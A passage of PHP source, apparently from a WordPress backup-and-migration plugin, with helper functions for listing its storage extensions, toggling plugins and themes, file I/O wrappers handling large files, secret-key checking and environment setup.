$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMCE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-gcloud-storage-extension';
}
// Google Drive Extension
if ( defined( 'AI1WMGE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMGE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-gdrive-extension';
}
// Amazon Glacier Extension
if ( defined( 'AI1WMRE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMRE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-glacier-extension';
}
// Mega Extension
if ( defined( 'AI1WMEE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMEE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-mega-extension';
}
// Multisite Extension
if ( defined( 'AI1WMME_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMME_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-multisite-extension';
}
// OneDrive Extension
if ( defined( 'AI1WMOE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMOE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-onedrive-extension';
}
// pCloud Extension
if ( defined( 'AI1WMPE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMPE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-pcloud-extension';
}
// Amazon S3 Extension
if ( defined( 'AI1WMSE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMSE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-s3-extension';
}
// Unlimited Extension
if ( defined( 'AI1WMUE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMUE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-unlimited-extension';
}
// URL Extension
if ( defined( 'AI1WMLE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMLE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-url-extension';
}
return $filters;
}
/**
* Get active ServMask plugins
*
* @return array
*/
function ai1wm_active_servmask_plugins( $plugins = array() ) {
// WP Migration Plugin
if ( defined( 'AI1WM_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WM_PLUGIN_BASENAME;
}
// Microsoft Azure Extension
if ( defined( 'AI1WMZE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMZE_PLUGIN_BASENAME;
}
// Backblaze B2 Extension
if ( defined( 'AI1WMAE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMAE_PLUGIN_BASENAME;
}
// Box Extension
if ( defined( 'AI1WMBE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMBE_PLUGIN_BASENAME;
}
// DigitalOcean Extension
if ( defined( 'AI1WMIE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMIE_PLUGIN_BASENAME;
}
// Dropbox Extension
if ( defined( 'AI1WMDE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMDE_PLUGIN_BASENAME;
}
// FTP Extension
if ( defined( 'AI1WMFE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMFE_PLUGIN_BASENAME;
}
// Google Cloud Storage Extension
if ( defined( 'AI1WMCE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMCE_PLUGIN_BASENAME;
}
// Google Drive Extension
if ( defined( 'AI1WMGE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMGE_PLUGIN_BASENAME;
}
// Amazon Glacier Extension
if ( defined( 'AI1WMRE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMRE_PLUGIN_BASENAME;
}
// Mega Extension
if ( defined( 'AI1WMEE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMEE_PLUGIN_BASENAME;
}
// Multisite Extension
if ( defined( 'AI1WMME_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMME_PLUGIN_BASENAME;
}
// OneDrive Extension
if ( defined( 'AI1WMOE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMOE_PLUGIN_BASENAME;
}
// pCloud Extension
if ( defined( 'AI1WMPE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMPE_PLUGIN_BASENAME;
}
// Amazon S3 Extension
if ( defined( 'AI1WMSE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMSE_PLUGIN_BASENAME;
}
// Unlimited Extension
if ( defined( 'AI1WMUE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMUE_PLUGIN_BASENAME;
}
// URL Extension
if ( defined( 'AI1WMLE_PLUGIN_BASENAME' ) ) {
$plugins[] = AI1WMLE_PLUGIN_BASENAME;
}
return $plugins;
}
/**
* Get active sitewide plugins
*
* @return array
*/
function ai1wm_active_sitewide_plugins() {
return array_keys( get_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, array() ) );
}
/**
* Get active plugins
*
* @return array
*/
function ai1wm_active_plugins() {
return array_values( get_option( AI1WM_ACTIVE_PLUGINS, array() ) );
}
/**
* Set active sitewide plugins (inspired by WordPress activate_plugins() function)
*
* @param array $plugins List of plugins
* @return boolean
*/
function ai1wm_activate_sitewide_plugins( $plugins ) {
$current = get_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, array() );
// Add plugins
foreach ( $plugins as $plugin ) {
if ( ! isset( $current[ $plugin ] ) && ! is_wp_error( validate_plugin( $plugin ) ) ) {
$current[ $plugin ] = time();
}
}
return update_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, $current );
}
/**
* Set active plugins (inspired by WordPress activate_plugins() function)
*
* @param array $plugins List of plugins
* @return boolean
*/
function ai1wm_activate_plugins( $plugins ) {
$current = get_option( AI1WM_ACTIVE_PLUGINS, array() );
// Add plugins
foreach ( $plugins as $plugin ) {
if ( ! in_array( $plugin, $current ) && ! is_wp_error( validate_plugin( $plugin ) ) ) {
$current[] = $plugin;
}
}
sort( $current );
return update_option( AI1WM_ACTIVE_PLUGINS, $current );
}
/**
* Get active template
*
* @return string
*/
function ai1wm_active_template() {
return get_option( AI1WM_ACTIVE_TEMPLATE );
}
/**
* Get active stylesheet
*
* @return string
*/
function ai1wm_active_stylesheet() {
return get_option( AI1WM_ACTIVE_STYLESHEET );
}
/**
* Set active template
*
* @param string $template Template name
* @return boolean
*/
function ai1wm_activate_template( $template ) {
return update_option( AI1WM_ACTIVE_TEMPLATE, $template );
}
/**
* Set active stylesheet
*
* @param string $stylesheet Stylesheet name
* @return boolean
*/
function ai1wm_activate_stylesheet( $stylesheet ) {
return update_option( AI1WM_ACTIVE_STYLESHEET, $stylesheet );
}
/**
* Set inactive sitewide plugins (inspired by WordPress deactivate_plugins() function)
*
* @param array $plugins List of plugins
* @return boolean
*/
function ai1wm_deactivate_sitewide_plugins( $plugins ) {
$current = get_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, array() );
// Add plugins
foreach ( $plugins as $plugin ) {
if ( isset( $current[ $plugin ] ) ) {
unset( $current[ $plugin ] );
}
}
return update_site_option( AI1WM_ACTIVE_SITEWIDE_PLUGINS, $current );
}
/**
* Set inactive plugins (inspired by WordPress deactivate_plugins() function)
*
* @param array $plugins List of plugins
* @return boolean
*/
function ai1wm_deactivate_plugins( $plugins ) {
$current = get_option( AI1WM_ACTIVE_PLUGINS, array() );
// Remove plugins
foreach ( $plugins as $plugin ) {
if ( ( $key = array_search( $plugin, $current ) ) !== false ) {
unset( $current[ $key ] );
}
}
sort( $current );
return update_option( AI1WM_ACTIVE_PLUGINS, $current );
}
/**
* Deactivate Jetpack modules
*
* @param array $modules List of modules
* @return boolean
*/
function ai1wm_deactivate_jetpack_modules( $modules ) {
$current = get_option( AI1WM_JETPACK_ACTIVE_MODULES, array() );
// Remove modules
foreach ( $modules as $module ) {
if ( ( $key = array_search( $module, $current ) ) !== false ) {
unset( $current[ $key ] );
}
}
sort( $current );
return update_option( AI1WM_JETPACK_ACTIVE_MODULES, $current );
}
/**
* Discover plugin basename
*
* @param string $basename Plugin basename
* @return string
*/
function ai1wm_discover_plugin_basename( $basename ) {
if ( ( $plugins = get_plugins() ) ) {
foreach ( $plugins as $plugin => $info ) {
if ( strpos( dirname( $plugin ), dirname( $basename ) ) !== false ) {
if ( basename( $plugin ) === basename( $basename ) ) {
return $plugin;
}
}
}
}
return $basename;
}
/**
* Validate plugin basename
*
* @param string $basename Plugin basename
* @return boolean
*/
function ai1wm_validate_plugin_basename( $basename ) {
if ( ( $plugins = get_plugins() ) ) {
foreach ( $plugins as $plugin => $info ) {
if ( $plugin === $basename ) {
return true;
}
}
}
return false;
}
/**
* Validate theme basename
*
* @param string $basename Theme basename
* @return boolean
*/
function ai1wm_validate_theme_basename( $basename ) {
if ( ( $themes = search_theme_directories() ) ) {
foreach ( $themes as $theme => $info ) {
if ( $info['theme_file'] === $basename ) {
return true;
}
}
}
return false;
}
/**
* Flush WP options cache
*
* @return void
*/
function ai1wm_cache_flush() {
// Initialize WP cache
wp_cache_init();
// Flush WP cache
wp_cache_flush();
// Set WP cache
wp_cache_set( 'alloptions', array(), 'options' );
wp_cache_set( 'notoptions', array(), 'options' );
// Delete WP cache
wp_cache_delete( 'alloptions', 'options' );
wp_cache_delete( 'notoptions', 'options' );
// Remove WP filters
remove_all_filters( 'sanitize_option_siteurl' );
remove_all_filters( 'sanitize_option_home' );
}
/**
* Set URL scheme
*
* @param string $url URL value
* @param string $scheme URL scheme
* @return string
*/
function ai1wm_url_scheme( $url, $scheme = '' ) {
if ( empty( $scheme ) ) {
return preg_replace( '#^\w+://#', '//', $url );
}
return preg_replace( '#^\w+://#', $scheme . '://', $url );
}
/**
* Opens a file in specified mode
*
* @param string $file Path to the file to open
* @param string $mode Mode in which to open the file
* @return resource
* @throws Ai1wm_Not_Accessible_Exception
*/
function ai1wm_open( $file, $mode ) {
$file_handle = @fopen( $file, $mode );
if ( false === $file_handle ) {
throw new Ai1wm_Not_Accessible_Exception( sprintf( __( 'Unable to open %s with mode %s. Technical details', AI1WM_PLUGIN_NAME ), $file, $mode ) );
}
return $file_handle;
}
/**
* Write contents to a file
*
* @param resource $handle File handle to write to
* @param string $content Contents to write to the file
* @return integer
* @throws Ai1wm_Not_Writable_Exception
* @throws Ai1wm_Quota_Exceeded_Exception
*/
function ai1wm_write( $handle, $content ) {
$write_result = @fwrite( $handle, $content );
if ( false === $write_result ) {
if ( ( $meta = stream_get_meta_data( $handle ) ) ) {
throw new Ai1wm_Not_Writable_Exception( sprintf( __( 'Unable to write to: %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) );
}
} elseif ( strlen( $content ) !== $write_result ) {
if ( ( $meta = stream_get_meta_data( $handle ) ) ) {
throw new Ai1wm_Quota_Exceeded_Exception( sprintf( __( 'Out of disk space. Unable to write to: %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) );
}
}
return $write_result;
}
/**
* Read contents from a file
*
* @param resource $handle File handle to read from
* @param string $filesize File size
* @return integer
* @throws Ai1wm_Not_Readable_Exception
*/
function ai1wm_read( $handle, $filesize ) {
$read_result = @fread( $handle, $filesize );
if ( false === $read_result ) {
if ( ( $meta = stream_get_meta_data( $handle ) ) ) {
throw new Ai1wm_Not_Readable_Exception( sprintf( __( 'Unable to read file: %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) );
}
}
return $read_result;
}
/**
* Seeks on a file pointer
*
* @param string $handle File handle to seeks
* @return integer
*/
function ai1wm_seek( $handle, $offset, $mode = SEEK_SET ) {
$seek_result = @fseek( $handle, $offset, $mode );
if ( -1 === $seek_result ) {
if ( ( $meta = stream_get_meta_data( $handle ) ) ) {
throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset %d on %s. Technical details', AI1WM_PLUGIN_NAME ), $offset, $meta['uri'] ) );
}
}
return $seek_result;
}
/**
* Tells on a file pointer
*
* @param string $handle File handle to tells
* @return integer
*/
function ai1wm_tell( $handle ) {
$tell_result = @ftell( $handle );
if ( false === $tell_result ) {
if ( ( $meta = stream_get_meta_data( $handle ) ) ) {
throw new Ai1wm_Not_Tellable_Exception( sprintf( __( 'Unable to get current pointer position of %s. Technical details', AI1WM_PLUGIN_NAME ), $meta['uri'] ) );
}
}
return $tell_result;
}
/**
* Closes a file handle
*
* @param resource $handle File handle to close
* @return boolean
*/
function ai1wm_close( $handle ) {
return @fclose( $handle );
}
/**
* Deletes a file
*
* @param string $file Path to file to delete
* @return boolean
*/
function ai1wm_unlink( $file ) {
return @unlink( $file );
}
/**
* Sets modification time of a file
*
* @param string $file Path to file to change modification time
* @param integer $time File modification time
* @return boolean
*/
function ai1wm_touch( $file, $mtime ) {
return @touch( $file, $mtime );
}
/**
* Changes file mode
*
* @param string $file Path to file to change mode
* @param integer $time File mode
* @return boolean
*/
function ai1wm_chmod( $file, $mode ) {
return @chmod( $file, $mode );
}
/**
* Copies one file's contents to another
*
* @param string $source_file File to copy the contents from
* @param string $destination_file File to copy the contents to
*/
function ai1wm_copy( $source_file, $destination_file ) {
$source_handle = ai1wm_open( $source_file, 'rb' );
$destination_handle = ai1wm_open( $destination_file, 'ab' );
while ( $buffer = ai1wm_read( $source_handle, 4096 ) ) {
ai1wm_write( $destination_handle, $buffer );
}
ai1wm_close( $source_handle );
ai1wm_close( $destination_handle );
}
/**
* Get the size of file in bytes
*
* This method supports files > 2GB on PHP x86
*
* @param string $file_path Path to the file
* @param boolean $as_string Return the filesize as string instead of BigInteger
*
* @return mixed Math_BigInteger|string|null
*/
function ai1wm_filesize( $file_path, $as_string = true ) {
$chunk_size = 2000000; // 2MB
$file_size = new Math_BigInteger( 0 );
try {
$file_handle = ai1wm_open( $file_path, 'rb' );
while ( ! feof( $file_handle ) ) {
$bytes = ai1wm_read( $file_handle, $chunk_size );
$file_size = $file_size->add( new Math_BigInteger( strlen( $bytes ) ) );
}
ai1wm_close( $file_handle );
return $as_string ? $file_size->toString() : $file_size;
} catch ( Exception $e ) {
return null;
}
}
/**
* Return the smaller of two numbers
*
* @param Math_BigInteger $a First number
* @param Math_BigInteger $b Second number
*
* @return Math_BigInteger
*/
function ai1wm_find_smaller_number( Math_BigInteger $a, Math_BigInteger $b ) {
if ( $a->compare( $b ) === -1 ) {
return $a;
}
return $b;
}
/**
* Check whether file size is supported by current PHP version
*
* @param string $file Path to file
* @param integer $php_int_size Size of PHP integer
* @return boolean $php_int_max Max value of PHP integer
*/
function ai1wm_is_filesize_supported( $file, $php_int_size = PHP_INT_SIZE, $php_int_max = PHP_INT_MAX ) {
$size_result = true;
// Check whether file size is less than 2GB in PHP 32bits
if ( $php_int_size === 4 ) {
if ( ( $file_handle = @fopen( $file, 'r' ) ) ) {
if ( @fseek( $file_handle, $php_int_max, SEEK_SET ) !== -1 ) {
if ( @fgetc( $file_handle ) !== false ) {
$size_result = false;
}
}
@fclose( $file_handle );
}
}
return $size_result;
}
/**
* Wrapper around fseek
*
* This function works with offsets that are > PHP_INT_MAX
*
* @param resource $file_handle Handle to the file
* @param Math_BigInteger $offset Offset of the file
*/
function ai1wm_fseek( $file_handle, Math_BigInteger $offset ) {
$chunk_size = ai1wm_find_smaller_number( new Math_BigInteger( 2000000 ), $offset );
while ( ! feof( $file_handle ) && $offset->toString() != '0' ) {
$bytes = ai1wm_read( $file_handle, $chunk_size->toInteger() );
$offset = $offset->subtract( new Math_BigInteger( strlen( $bytes ) ) );
$chunk_size = ai1wm_find_smaller_number( $chunk_size, $offset );
}
}
/**
* Verify secret key
*
* @param string $secret_key Secret key
* @return boolean
* @throws Ai1wm_Not_Valid_Secret_Key_Exception
*/
function ai1wm_verify_secret_key( $secret_key ) {
if ( $secret_key !== get_option( AI1WM_SECRET_KEY ) ) {
throw new Ai1wm_Not_Valid_Secret_Key_Exception( __( 'Unable to authenticate the secret key. Technical details', AI1WM_PLUGIN_NAME ) );
}
return true;
}
/**
* Is scheduled backup?
*
* @return boolean
*/
function ai1wm_is_scheduled_backup() {
if ( isset( $_GET['ai1wm_manual_export'] ) || isset( $_POST['ai1wm_manual_export'] ) ) {
return false;
}
if ( isset( $_GET['ai1wm_manual_import'] ) || isset( $_POST['ai1wm_manual_import'] ) ) {
return false;
}
if ( isset( $_GET['ai1wm_manual_restore'] ) || isset( $_POST['ai1wm_manual_restore'] ) ) {
return false;
}
return true;
}
/**
* PHP setup environment
*
* @return void
*/
function ai1wm_setup_environment() {
// Set whether a client disconnect should abort script execution
@ignore_user_abort( true );
// Set maximum execution time
@set_time_limit( 0 );
// Set maximum time in seconds a script is allowed to parse input data
@ini_set( 'max_input_time', '-1' );
// Set maximum backtracking steps
@ini_set( 'pcre.backtrack_limit', PHP_INT_MAX );
// Set binary safe encoding
if ( @function_exists( 'mb_internal_encoding' ) && ( @ini_get( 'mbstring.func_overload' ) & 2 ) ) {
@mb_internal_encoding( 'ISO-8859-1' );
}
// Set error handler
@set_error_handler( 'Ai1wm_Handler::error' );
// Set shutdown handler
@register_shutdown_function( 'Ai1wm_Handler::shutdown' );
}